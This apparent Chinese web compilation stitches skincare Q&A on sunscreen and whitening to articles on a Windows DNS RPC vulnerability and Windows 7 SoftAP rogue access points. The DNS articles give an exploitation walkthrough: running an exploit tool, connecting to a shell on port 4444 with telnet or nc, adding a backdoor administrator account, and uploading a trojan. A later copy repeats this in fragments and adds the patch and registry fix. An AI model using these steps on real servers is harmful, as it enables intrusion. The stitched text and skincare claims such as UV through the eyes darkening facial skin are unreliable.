防晒第七问：我每天都涂抹防晒霜和使用美白产品，但为何脸上还是会不断地增加色斑，并且不断变深？

答：即便在脸上搽了厚厚一层防晒霜，只要眼睛受到紫外线的照射还是一样能激活黑色素细胞。眼睛受到紫外线照射后，眼睛细胞会受到损伤。大脑对这些损伤做出反应，向皮肤发出“快快制造黑色素”的指令。结果，虽然皮肤没受到紫外线的照射，可还是制造出了黑色素。因此，眼睛也需要防晒，隐形眼镜和太阳镜都要选择具有防晒功效的。

防晒第八问：我觉得美白应该由内而外，除了坚持使用防晒产品和美白产品，在饮食上应该注意些什么呢？

答：水果含有丰富维生素，多吃水果还可以帮助肌肤排毒，猕猴桃中维生素C含量很高，可干扰黑色素生成，并有助于消除皮肤上的黯沉，让肌肤更明亮。而每天早上喝一杯豆浆也是不错的美白选择哦，豆浆富含维生素C和E，而且经日本研究证实，每天饮用豆浆能增加肌肤的细滑度，并改善疤痕，可说是一举数得。

防晒第九问：每次被晒黑后，我马上会用各种美白产品进行护理，什么美白面膜、短期集中护理用的高浓度的美白产品都毫不吝啬地使用，但还是被晒黑，是什么原因呢？

答：美白的胜负关键在于72小时。皮肤受到紫外线照射后，过4至5小时后就开始慢慢变红，经过大约24小时后这个变红的过程就达到顶峰。而3至4天后，黑色素细胞就开始制造黑色素，皮肤就会变成褐色了，说得明白点就是皮肤失去光泽，肤色变得黯沉。正因为如此，必须在皮肤变黑前的3天(72个小时)之内做个彻底的美白护理。要想把已形成的色斑彻底去掉可谓难上加难，可是如果在黑色素尚未被释放出来之前使用美白产品，就能将其美白功效发挥得淋漓尽致。

防晒第十问：听说黑色素承担着保护皮肤的重大责任，我们却通过美白护理来使它减少，这样做到底对不对？

答：没错，受到紫外线照射后，皮肤中的色素增加是为了吸收具有致癌作用的有害光线，发挥其防晒的功效。美白产品会抑制生成黑色素的酶的合成及其活性，可是不会破坏制造黑色素的黑素细胞。美白产品只是让生成黑色素的酶进入休眠状态，一旦受到紫外线的照射，这些酶还是会立刻苏醒并向黑色素细胞发送信号。因此，美白产品和防晒产品一定要配合使用。

防晒第十一问：我脸上和鼻上天生就有许多小雀斑，紫外线的照射会让雀斑也变深吗？

答：雀斑的产生受到遗传因素的影响很大，雀斑形成后随着年龄增长慢慢变深，到了20岁以后，又会随着年龄的增长而逐渐变浅。紫外线的照射的确会让雀斑变深，所以防晒应该从10多岁开始，这样才能防止雀斑颜色加深

篇6：两招填补Windows DNS服务器漏洞DNS服务器

DNS 是域名系统 (Domain Name System) 的缩写，大家在上网时输入的网址，是通过域名解析系解析找到相对应的IP地址才能访问到网站。但是最近微软的Windows 和Windows 2003的DNS服务出现一个极高的安全漏洞，如果被成功利用的话，那么我们的上网操作将遇到巨大的麻烦。

姓名：张均诚

特长：Windows系统漏洞研究

使用工具：DNS服务器漏洞利用工具

自白：最近Windows系统的DNS出现了0day漏洞，自从这个安全漏洞的代码被披露，攻击这个漏洞的Nirbot蠕虫已经出现了各种变体。如果这个漏洞被利用，那么系统就会被完全控制。

DNS漏洞打开系统防线

Windows DNS如果存在这个漏洞，那么它在工作时，RPC接口如果处理到有非常规的畸形连接请求，就会向外释放管理员权限，让可以利用这种漏洞完全控制系统。可以通过向有这个漏洞的系统发送一个经过特别设计的RPC数据包，就能够获得该系统的管理员权限，远程执行任意指令。

小知识：什么是RPC

远程过程调用 (RPC) 是一种协议，程序可使用这种协议向网络中的另一台计算机上的程序请求服务。由于使用 RPC 的程序不必了解支持通信的网络协议的情况，因此 RPC 提高了程序的互操作性。

此前，RPC中也出现过数个漏洞，其中包括导致Blaster蠕虫大爆发的那个漏洞。这一最新的漏洞是一个堆栈溢出漏洞，给微软和Windows用户带来了很烦。

根据微软发布的消息，Windows XP和Windows Vista不会受到这一DNS漏洞的影响，Windows 2000 Server SP4、Windows Server 2003 SP1、Windows Server 2003 SP2则存在这一漏洞。

轻松利用DNS漏洞

打开系统的命令提示符，接着跳转到DNS服务器漏洞利用工具所在的命令，然后执行该漏洞利用工具(图1)。

在该漏洞的利用程序中执行命令：dns.exe -h 127.0.0.1 -t 1 -p 445，因为我是在本地计算机上进行测试的，所以其中的IP地址为127.0.0.1，而且需要根据服务器版的语言设置参数。当利用工具提示溢出成功以后，就可以利用telnet命令或程序nc连接存在漏洞的服务器中的4444端口，比如telnet 127.0.0.1 4444(图2)，

需要说明的是，该工具的成功率并不是特别的高，所以在测试的时候需要多进行几次

当我们成功利用漏洞进行溢出以后，就可以在命令行输入：net user pcw 1234 /add，回车确定后如果显示命令成功，就说明已经成功的添加了一个用户名为pcw密码为1234的用户。

然后我们再在命令行输入：net localgroup administrators pcw /add，成功执行的话就表示将该用户已经添加到管理员组(图3)。

现在只要利用Windows系统自带的远程桌面功能，接着连接到该DNS服务器的IP地址，然后利用我们刚刚创建的用户名进行登录，就可以进行适时地远程管理操作了(图4)。

如果远程服务器没有开通终端服务功能，也可以通过溢出得到的命令提示符窗口，通过FTP或Tftp命令上传我们的木马程序，这样也可以进行有效的远程管理操作。

漏洞危害大，不可不防

由于这个安全漏洞影响到Windows 2000 Server和Windows Server

关键字：DNS 服务器

篇7：怎样填补无线接入点的漏洞？

科技发展的同时不单是给我们带来了便捷，同时也带来了负面的担忧，近期就出现了WIN7的流氓Wi-Fi无线接入点的新闻，此事件我们应该如何看待呢？网络漏洞还是系统漏洞？如何保护我们的无线接入点的安全呢？

IT 的消费化一直生机勃勃，但同时其也在移动领域内带来了各种各样的企业安全挑战。然而人们所注意到的问题仅仅是易受攻击这一大冰山的一角而已。比如说，微软Windows 7操作系统中包括了像流氓Wi-Fi无线接入点那样的允许用户笔记本电脑做双重任务的软件，其可以掩护非授权用户对公司网络的入侵。

迄今为止，Windows 7操作系统貌似已经取得了成功。来自NetMarketShare的数据显示，截止至1月份，也是就在自10月份推出后的三个月时间内，Windows 7操作系统已经在操作系统市场取得了7%至8%的市场份额。许多企业更愿意将他们的操作系统直接跳过饱受诟病的Vista操作系统升级到Windows 7。

Windows 7包括了SoftAP特性，也就是所谓的“虚拟Wi-Fi”，其允许单独的一台PC同时作为一个Wi-Fi客户端和一个其它Wi-Fi设备能够连接的无线接入点。当用户在业余时间内想分享音乐、玩互动游戏时，这种功能变得十分便利。不过，其也能够允许区域内的访问者和通过用户的笔记本电脑，悄悄潜入到公司的网络中。

AirTight 网络公司为专门出售无线入侵预防系统(WIPS)和服务的公司，该公司曾经深入的对SoftAP进行过研究，

正如公司的工程总监Gopinath KN如说的那样，一台Windows 7设备还起到了端口地址转换的作用，其允许一个单独的公共IP地址被多个LAN设备使用(并且仅显示特定的Layer 4端口数字)。所以，与Windows 7虚拟无线接入点连接的设备可以悄悄的桥接至有线网络内，而这些设备则可以被隐藏在“主”IP地址后面。

AirTight公司产品管理副总裁Sri Sundarilingam指出，这一问题比Wi-Fi的点对点模式更为危险。在点对点模式中，被暴露的数据仅仅是参与用户笔记本电脑中的本地文件和应用，而不是公司的整个网络。

当然，AirTight公司在SoftAP弱点的讨论中有着巨大的既得利益。来自AirTight 或是诸如AirMagnet和摩托罗拉AirDefense等竞争者的WIPS产品能够扫描来自非授权设备的无线信号，并标示出其为流氓客户端阻止其进行连接。

使用WIPS是一种保护方案。规定有SoftAP功能的笔记本电脑关闭此功能，拒绝所有Windows 7用户系统管理员权力以防止该功能被打开也是一种保护方案。

此外，其它的保护方案还包括在笔记本电脑上有安装移动设备管理或/和安全代理软件，强化对诸如关闭软无线接入点或临时Wi-Fi模式的集中管理。在移动设备管理领域，随着公司数量的快速增长，这类软件也将可以获得。除了提供WIPS外，AirTight公司还提供为名“SpectraGuard SAFE”的客户代理软件，公司称该软件可以被用在任何Wi-Fi、蓝牙、3G、红外或WiMAX网络中。

篇8：两招填补Windows DNS服务器漏洞

DNS 是域名系统 (Domain Name System) 的缩写，大家在上网时输入的网址，是通过域名解析系解析找到相对应的IP地址才能访问到网站。但是最近微软的Windows 2000和Windows 2003的DNS服务出现一个极高的安全漏洞，如果被成功利用的话，那么我们的上网操作将遇到巨大的麻烦。

特长：Windows系统漏洞研究

使用工具：DNS服务器漏洞利用工具

DNS漏洞打开系统防线

小知识：什么是RPC

此前，RPC中也出现过数个漏洞，其中包括导致Blaster蠕虫大爆发的那个漏洞。这一最新的漏洞是一个堆栈溢出漏洞，给微软和Windows用户带来了很烦。

根据微软发布的消息，Windows XP和Windows Vista不会受到这一DNS漏洞的影响，Windows 2000 Server SP4、Windows Server 2003 SP1、Windows Server 2003 SP2则存在这一漏洞。

轻松利用DNS漏洞

打开系统的命令提示符，接着跳转到DNS服务器漏洞利用工具所在的命令，然后执行该漏洞利用工具(图1)，

然后我们再在命令行输入：net localgroup administrators pcw /add，成功执行的话就表示将该用户已经添加到管理员组(图3)。

漏洞危害大，不可不防

由于这个安全漏洞影响到Windows 2000 Server和Windows Server 2003服务器软件，而且每一种语言版本的Windows服务器都要有一个补丁。微软提供的补丁地址：www.microsoft.com/china/technet/security/bulletin/ms07-029.mspx，请根据自己情况选择对应的补丁。

同时，建议管理员采取如下措施以降低威胁。首先打开注册表编辑器，找到以下注册表位置HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesDNSParameters，通过右键菜单新建一个名为“RpcProtocol”的DWORD项目，然后双击新建的值并将该值的数据更改为4，最后重启DNS服务更改生效即可。

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